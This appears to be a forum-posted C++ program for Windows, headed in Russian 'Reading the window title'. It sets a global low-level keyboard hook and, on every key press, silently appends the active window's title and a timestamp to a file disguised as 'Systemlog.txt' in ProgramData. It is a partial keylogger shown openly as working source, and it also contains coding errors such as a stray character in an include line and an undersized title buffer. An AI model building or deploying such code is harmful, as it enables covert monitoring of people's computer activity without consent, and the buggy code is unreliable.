Считывание заголовка окна

#include <Windows.h>
#include <winuser.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#include <WinBase.h>>
#include <string>
#include <tchar.h>
#include <time.h>
 
 
const TCHAR szSystemLog[] = L"C://ProgramData//Systemlog.txt";
HANDLE hFile;
HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT hkb;
 
 
 
 
int writeToFile(UINT keystroke)
{
    DWORD dwWrited = 0;
    DWORD dwBytesRead = 0;
 
    DWORD dwPos;
    LPCVOID lpvKey;
 
    static wchar_t lastwindow[256] = L"";
 
    if ((keystroke == 1) || (keystroke == 2))
    {
        return 0; // ignore mouse clicks
    }
 
    HWND foreground = GetForegroundWindow();
    DWORD threadID;
    HKL layout = NULL;
    int cTxtLen;//довжина тексту
    char s[25];
 
    hFile = CreateFile(szSystemLog, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        hFile = CreateFile(szSystemLog, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    }
    if (hFile != INVALID_HANDLE_VALUE)
    {
        if (foreground)
        {
            // get keyboard layout of the thread
            threadID = GetWindowThreadProcessId(foreground, NULL);
            layout = GetKeyboardLayout(threadID);
        }
 
        if (foreground)
        {
            cTxtLen = GetWindowTextLength(foreground);//довжина тексту
            //char* window_title = new char[cTxtLen];//MultiByteToWideChar
            LPTSTR window_title;
            window_title = (TCHAR*)malloc(cTxtLen * sizeof(TCHAR));
            GetWindowTextW(foreground, (LPWSTR)window_title, cTxtLen);
            if (_tccmp(window_title, lastwindow) != 0)
            {
                _tccpy(lastwindow, window_title);
 
                // get time
                time_t t = time(NULL);
                struct tm tm;
                localtime_s(&tm, &t);
                strftime(s, sizeof(s), "%c", &tm);
 
                dwPos = SetFilePointer(hFile, 0, NULL, FILE_END);
                LockFile(hFile, dwPos, 0, dwBytesRead, 0);
                WriteFile(hFile, TEXT("\x0D\x0A[Window: "), lstrlenW(TEXT("\x0D\x0A[Window: ")) * sizeof(wchar_t), &dwWrited, NULL);
                WriteFile(hFile, window_title, cTxtLen * sizeof(wchar_t), &dwWrited, NULL);
                WriteFile(hFile, TEXT("- at "), lstrlenW(TEXT("- at ")) * sizeof(wchar_t), &dwWrited, NULL);
                WriteFile(hFile, s, sizeof(s), &dwWrited, NULL);
                WriteFile(hFile, TEXT("] "), lstrlenW(TEXT("] ")) * sizeof(wchar_t), &dwWrited, NULL);
                UnlockFile(hFile, dwPos, 0, dwBytesRead, 0);
            }
            //delete[] window_title;
            free(window_title);
 
        }
    }
    return 0;
}
 
LRESULT _stdcall HookCallBack(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode ==HC_ACTION)
    {
        if (wParam == WM_KEYDOWN)
        {
            
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            writeToFile(kbdStruct.vkCode);
        }
    }
 
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}
 
void SetHook()
{
    if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallBack, 0, 0)))
    {
        LPCTSTR a = L"error";
        LPCTSTR b = L"error";
        MessageBox(0, a, b, MB_ICONERROR);
    }
}
 
void relaseHook()
{
    UnhookWindowsHookEx(_hook);
}
 
 
int main()
{
    SetHook();
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
}